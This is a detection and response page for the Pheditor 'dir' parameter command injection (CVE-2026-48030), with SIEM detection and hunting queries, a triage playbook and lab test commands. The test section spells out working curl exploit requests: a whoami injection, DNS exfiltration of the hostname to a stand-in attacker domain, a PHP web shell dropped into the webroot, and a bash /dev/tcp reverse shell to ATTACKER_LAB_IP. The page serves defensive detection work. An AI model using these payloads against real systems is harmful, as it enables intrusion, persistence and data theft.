Detect Pheditor OS Command Injection via Unsanitized 'dir' Parameter (CVE-2026-48030) in CrowdStrike LogScale
Detects exploitation of CVE-2026-48030, a critical OS command injection vulnerability in Pheditor versions 2.0.1 through 2.0.3. The terminal handler accepts an unsanitized 'dir' parameter that is passed directly to a shell command, allowing unauthenticated or authenticated attackers to execute arbitrary OS commands on the hosting server. A public proof-of-concept exists, making active exploitation likely.
MITRE ATT&CK
LogScale Detection Query
// CVE-2026-48030: Pheditor OS Command Injection Detection
#event_simpleName IN (ProcessRollup2, SyntheticProcessRollup2, NetworkConnectIP4)
| ImageFileName CONTAINS ANYCASE ("apache2", "httpd", "nginx", "php-fpm", "php", "php-cgi")
| CommandLine CONTAINS ANYCASE ("pheditor", "terminal")
| CommandLine MATCHES REGEX "(?i)(dir=.*(%26|%7C|%3B|%60)|dir=.*(whoami|wget|curl|bash|sh -c|python -c|perl -e|nc \\d|chmod|/tmp/|/bin/sh))"
| let injection_signal = true()
| join
[
#event_simpleName IN (ProcessRollup2, SyntheticProcessRollup2)
| ParentImageFileName CONTAINS ANYCASE ("apache2", "httpd", "nginx", "php-fpm", "php", "php-cgi")
| ImageFileName MATCHES REGEX "(?i)^/(bin|usr/bin|usr/local/bin)/(sh|bash|dash|ash|id|whoami|uname|wget|curl|nc|ncat|python3?|perl|ruby|chmod)$"
| CommandLine NOT CONTAINS "-mime"
| let child_shell = true()
] ON aid
| where injection_signal == true OR child_shell == true
| select timestamp, aid, ComputerName, UserName, ImageFileName, CommandLine, ParentImageFileName, ParentCommandLine, LocalAddressIP4, RemoteAddressIP4, RemotePort
| sort timestamp descCrowdStrike Falcon query correlating web server process command lines containing Pheditor terminal handler patterns with injection metacharacters, joined against child process events showing shell or utility binaries spawned from web server parent processes on the same agent.
Data Sources
Required Tables
False Positives & Tuning
- Authorized penetration testing or red team activities against Pheditor instances
- Developers using Pheditor terminal features to run legitimate maintenance commands
- Web application scanning tools that probe terminal endpoints with encoded payloads
- Legitimate PHP applications that spawn controlled subprocesses as part of their workflow
Other platforms for CVE-2026-48030
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Basic whoami Injection via dir Parameter
Expected signal: Web server access log entry showing request URI containing '%3B' and 'whoami'. Auditd EXECVE record for /usr/bin/whoami with parent process php-fpm or apache2 and uid matching the web server service account.
- Test 2Out-of-Band Data Exfiltration via DNS Lookup
Expected signal: DNS query from web server IP to attacker-controlled domain visible in DNS server logs and network flow data. Auditd record for nslookup or dig process spawned under web server account. NetworkConnect events from DeviceNetworkEvents to the external DNS resolver.
- Test 3Web Shell Implantation via Piped Command Chain
Expected signal: Auditd OPENAT/CREATE syscall for /var/www/html/shell.php attributed to web server service account. File creation event in EDR telemetry (DeviceFileEvents or equivalent) with InitiatingProcessFileName=php/apache2 and FileName=shell.php. Web server access log entry with %7C in the dir parameter.
- Test 4Reverse Shell via Bash TCP Redirect
Expected signal: Auditd EXECVE for bash with arguments '-i' and '/dev/tcp/ATTACKER_LAB_IP/4444' under web server parent process. Outbound TCP connection from web server to attacker lab IP on port 4444 in network flow logs. DeviceNetworkEvents entry from the EDR showing the connection establishment.
Response Playbook
Triage
- Identify the source IP making requests to the Pheditor terminal endpoint; determine if it is an internal developer IP, a known scanner, or an external/anonymous source. Check against asset inventory and threat intelligence feeds.
- Examine the full URI including the 'dir' parameter from web server access logs. URL-decode the value and assess whether it contains shell metacharacters (;, |, &, backtick, $()) or recognizable command strings (whoami, id, wget, curl, /etc/passwd).
- Check the Pheditor installation version on the affected host. Versions 2.0.1 through 2.0.3 are vulnerable; verify using composer show pheditor/pheditor or equivalent. If unpatched, treat the incident as confirmed critical exposure.
- Review web server error and access logs for HTTP response codes: 200 responses to injection attempts may indicate successful command execution, while 500 responses may indicate partial exploitation or defenses partially blocking the payload.
- Inspect OS-level process audit logs (auditd/sysmon) on the web server host for any processes spawned under the www-data, apache, or nginx service accounts in the timeframe surrounding the suspicious request.
Containment
- Immediately block the source IP at the perimeter firewall or WAF. If the source is internal, isolate the workstation from the network pending investigation.
- If exploitation is confirmed or strongly suspected, take the Pheditor-hosting web server offline or remove Pheditor from the webroot immediately. Alternatively, use a WAF rule to block requests where the 'dir' parameter contains metacharacters (%26, %7C, %3B, %60, dollar-paren) until the application is patched or removed.
- Rotate all credentials stored on or accessible from the compromised web server, including application secrets, database passwords, cloud provider API keys, and SSH keys belonging to accounts accessible from that host.
Evidence Collection
- Preserve web server access logs (access.log, error.log) from the period of suspected exploitation. Hash and archive them before any log rotation occurs. Capture the full raw HTTP request including headers, URI, and body if available from the WAF or proxy.
- Collect a memory image and disk snapshot of the web server VM or container before remediation. Use forensic imaging tools to preserve volatile state. Capture running process list, network connections, cron jobs, and recently modified files (find / -newer /tmp/refdate -type f) under the web server account.
Escalation Criteria
- !Escalate to Incident Response Lead immediately if process execution evidence confirms arbitrary command execution occurred (e.g., 'whoami' output in response body, new files created in /tmp, unexpected network connections from web server to external IPs).
- !Escalate if the compromised Pheditor instance had access to internal network segments, databases containing PII, or cloud provider metadata endpoints, as these dramatically expand the blast radius of any successful exploitation.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access log entries showing POST or GET requests to Pheditor terminal endpoint with URL-encoded shell metacharacters in the dir query parameter - >
Linux auditd SYSCALL records for execve calls under the web server service account (www-data, apache, nginx) with suspicious argument vectors - >
Newly created files in /tmp, /var/tmp, or the web root with executable permissions created during the exploitation window - >
Bash history or PHP error logs that may capture injected command strings or their output - >
Network connection records (netflow, firewall logs) showing outbound connections from the web server to attacker-controlled infrastructure immediately following the injection request
Tuning Guidance
Reduce false positives by building an allowlist of known-safe internal IP ranges (developer workstations, CI/CD systems) and excluding their requests from alerting. If Pheditor is not expected in your environment at all, the detection confidence can be elevated to maximum and any matching request treated as an incident without triage delay. The process-based detections (child shell under web server) are more reliable than HTTP log parsing alone, as attackers may obfuscate URI parameters. Tune the process allowlist by documenting all legitimate subprocess invocations made by your PHP applications and excluding those specific command patterns. If WAF logs are available with decoded (not URL-encoded) parameter values, add a layer that matches on raw shell metacharacters in the 'dir' parameter value for higher precision.
Hunting Queries
Retrospective hunt over 7 days for any shell or utility process spawned under a web server or PHP parent process, regardless of whether it matches Pheditor-specific patterns. Useful for detecting exploitation that may not have used obvious Pheditor URIs, or where access logs have been tampered with.
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName in~ ("php", "php-fpm", "php7.4", "php8.0", "php8.1", "php8.2", "apache2", "httpd", "nginx")
| where FileName in~ ("sh", "bash", "dash", "id", "whoami", "wget", "curl", "nc", "ncat", "python3", "perl")
| where not (ProcessCommandLine has_any ("-t mime", "--version", "-m"))
| summarize count(), make_set(ProcessCommandLine), make_set(AccountName) by DeviceName, InitiatingProcessFileName, FileName
| where count_ > 0
| sort by count_ descindex=os sourcetype=auditd type=EXECVE
| eval full_cmd = mvjoin(mvmap(split(_raw, "a[0-9]="), trim(split(mvindex(split(@,"="),1), " ")[0])), " ")
| search (full_cmd IN ("*sh*","*bash*","*whoami*","*id *","*wget*","*curl*","*nc *","*python*","*perl*"))
| join pid [
search index=os sourcetype=auditd type=SYSCALL
| eval parent_comm = comm
| where match(parent_comm, "(?i)(php|apache|nginx|httpd|www)")
| fields pid, parent_comm
]
| table _time, host, pid, parent_comm, full_cmd
| sort -_timeHunt for web shell or backdoor file creation by web server or PHP processes. Focuses on PHP files written to the webroot or executables written to /tmp by web server accounts, which is a common post-exploitation persistence step following successful command injection.
DeviceFileEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName in~ ("php", "php-fpm", "apache2", "httpd", "nginx", "sh", "bash")
| where FolderPath startswith "/tmp" or FolderPath startswith "/var/tmp" or FolderPath endswith ".php"
| where ActionType in ("FileCreated", "FileModified")
| project TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| sort by TimeGenerated descindex=os sourcetype IN ("linux_audit", "auditd")
| where match(_raw, "(?i)(OPEN|OPENAT|CREATE).*\.(php|sh|py|rb|pl)|/tmp/[a-zA-Z0-9]{4,}")
| rex field=_raw "name=\"(?P<file_created>[^\"]+)\""
| rex field=_raw "comm=\"(?P<process_name>[^\"]+)\""
| where match(process_name, "(?i)(php|apache|httpd|nginx|www-data|sh|bash)")
| table _time, host, process_name, file_created
| sort -_timeAtomic Red Team Tests
Simulates the simplest CVE-2026-48030 exploitation by sending a GET request to the Pheditor terminal endpoint with a 'dir' parameter value that appends a semicolon-separated whoami command. Verifies that the application executes the injected command and returns the web server user identity.
Command
curl -s -v 'http://TARGET_HOST/pheditor/?dir=/var/www%3Bwhoami' -H 'Cookie: phe_user=VALID_SESSION_COOKIE'Cleanup
No cleanup required — read-only command. Review web server access logs to confirm the request was logged.Expected Telemetry
Web server access log entry showing request URI containing '%3B' and 'whoami'. Auditd EXECVE record for /usr/bin/whoami with parent process php-fpm or apache2 and uid matching the web server service account.
Expected Detection
Alert should fire on KQL DeviceProcessEvents rule matching FileName=whoami with InitiatingProcessFileName in php/apache2/httpd, and on Splunk correlation between the access log event (containing %3B) and the auditd execve event for whoami.
Tests a more covert exploitation variant using the Pheditor dir parameter to inject a command that performs a DNS lookup to an attacker-controlled domain, demonstrating out-of-band exfiltration of the hostname without an observable HTTP response body.
Command
curl -s 'http://TARGET_HOST/pheditor/?dir=/tmp%7Cnslookup+$(hostname).attacker-controlled-lab-domain.example.com'Cleanup
No persistent changes on the target. Ensure the attacker-controlled DNS server (or Burp Collaborator equivalent) is torn down after testing.Expected Telemetry
DNS query from web server IP to attacker-controlled domain visible in DNS server logs and network flow data. Auditd record for nslookup or dig process spawned under web server account. NetworkConnect events from DeviceNetworkEvents to the external DNS resolver.
Expected Detection
Chronicle YARA-L rule should match on the HTTP request URI with %7C (pipe) injection. CrowdStrike CQL should detect nslookup child process under PHP/web server parent. DNS monitoring tools should flag the unusual DNS query pattern.
Demonstrates persistence establishment after successful command injection by writing a minimal PHP web shell to the webroot using the injected shell command. Uses pipe chaining to echo a PHP backdoor file. This is lab-only and simulates the most dangerous post-exploitation scenario.
Command
curl -s 'http://TARGET_HOST/pheditor/?dir=/var/www/html%7Cecho+%27%3C%3Fphp+system%28%24_GET%5B%22c%22%5D%29%3B%3F%3E%27+%3E+/var/www/html/shell.php'Cleanup
rm -f /var/www/html/shell.php && grep -r 'shell.php' /var/log/apache2/ # verify removal and audit logExpected Telemetry
Auditd OPENAT/CREATE syscall for /var/www/html/shell.php attributed to web server service account. File creation event in EDR telemetry (DeviceFileEvents or equivalent) with InitiatingProcessFileName=php/apache2 and FileName=shell.php. Web server access log entry with %7C in the dir parameter.
Expected Detection
File event detection hunting query should fire on PHP file creation by web server process. CrowdStrike CQL child process detection should catch the 'sh' process spawned to execute the echo command. Chronicle YARA-L HTTP rule fires on the %7C injection in the request URI.
Tests the most severe exploitation variant: injecting a bash reverse shell command into the dir parameter to establish an interactive connection back to a listener. Lab-only; demonstrates that RCE is achievable and detectable.
Command
# Start listener first: nc -lvnp 4444
curl -s 'http://TARGET_HOST/pheditor/?dir=/tmp%3Bbash+-i+>%26+/dev/tcp/ATTACKER_LAB_IP/4444+0>%261'Cleanup
Kill the netcat listener. Verify no lingering reverse shell processes: ps aux | grep bash | grep '/dev/tcp'. Remove any files dropped during the session.Expected Telemetry
Auditd EXECVE for bash with arguments '-i' and '/dev/tcp/ATTACKER_LAB_IP/4444' under web server parent process. Outbound TCP connection from web server to attacker lab IP on port 4444 in network flow logs. DeviceNetworkEvents entry from the EDR showing the connection establishment.
Expected Detection
All SIEM queries targeting child shell processes under web server parents should fire. Network-based detections should flag outbound connection to non-standard port from a web server process. CrowdStrike CQL join rule should correlate the bash child process with the incoming HTTP request.